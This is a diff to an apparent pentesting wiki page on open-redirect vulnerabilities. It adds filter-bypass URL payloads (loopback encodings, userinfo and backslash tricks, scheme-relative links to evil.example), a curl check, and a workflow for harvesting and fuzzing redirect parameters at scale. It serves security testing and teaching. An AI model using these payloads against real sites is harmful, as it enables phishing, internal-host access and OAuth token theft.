diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md
index 2cbc9d4e697..c97bf611c2f 100644
--- a/src/pentesting-web/open-redirect.md
+++ b/src/pentesting-web/open-redirect.md
@@ -7,12 +7,23 @@
### Redirect to localhost or arbitrary domains
+- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
+ - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
+ - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
+ - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
+ - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
+- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
+ - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
+- Userinfo tricks defeat contains/startswith checks against trusted hosts:
+ - https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
+- Backslash parsing confusion between frameworks/browsers:
+ - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
-### Open Redirect to XSS
+### Modern open-redirect to XSS pivots
```bash
#Basic payload, javascript code is executed after "javascript:"
@@ -60,6 +71,34 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
+
+More modern URL-based bypass payloads
+
+```text
+# Scheme-relative (current scheme is reused)
+//evil.example
+
+# Credentials (userinfo) trick
+https://trusted.example@evil.example/
+
+# Backslash confusion (server validates, browser normalizes)
+https://trusted.example\@evil.example/
+
+# Schemeless with whitespace/control chars
+evil.example%00
+%09//evil.example
+
+# Prefix/suffix matching flaws
+https://trusted.example.evil.example/
+https://evil.example/trusted.example
+
+# When only path is accepted, try breaking absolute URL detection
+/\\evil.example
+/..//evil.example
+```
+```
+
+
## Open Redirect uploading svg files
```html
@@ -173,18 +212,78 @@ exit;
?>
```
+## Hunting and exploitation workflow (practical)
+
+- Single URL check with curl:
+
+```bash
+curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
+```
+
+- Discover and fuzz likely parameters at scale:
+
+
+Click to expand
+
+```bash
+# 1) Gather historical URLs, keep those with common redirect params
+cat domains.txt \
+ | gau --o urls.txt # or: waybackurls / katana / hakrawler
+
+# 2) Grep common parameters and normalize list
+rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
+ | sed 's/\r$//' | sort -u > candidates.txt
+
+# 3) Use OpenRedireX to fuzz with payload corpus
+cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
+
+# 4) Manually verify interesting hits
+awk '/30[1237]|Location:/I' results.txt
+```
+```
+
+
+- Don’t forget client-side sinks in SPAs: look for window.location/assign/replace and framework helpers that read query/hash and redirect.
+
+- Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.
+
+{{#ref}}
+../network-services-pentesting/pentesting-web/nextjs.md
+{{#endref}}
+
+- OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:
+
+{{#ref}}
+./oauth-to-account-takeover.md
+{{#endref}}
+
+- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
+
+```html
+
+
+```
+
## Tools
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
+- OpenRedireX – fuzzer for detecting open redirects. Example:
+
+```bash
+# Install
+git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
-## Resources
+# Fuzz a list of candidate URLs (use FUZZ as placeholder)
+cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
+```
+
+## References
-- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.
+- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
-
+- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
+- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
{{#include ../banners/hacktricks-training.md}}
-
-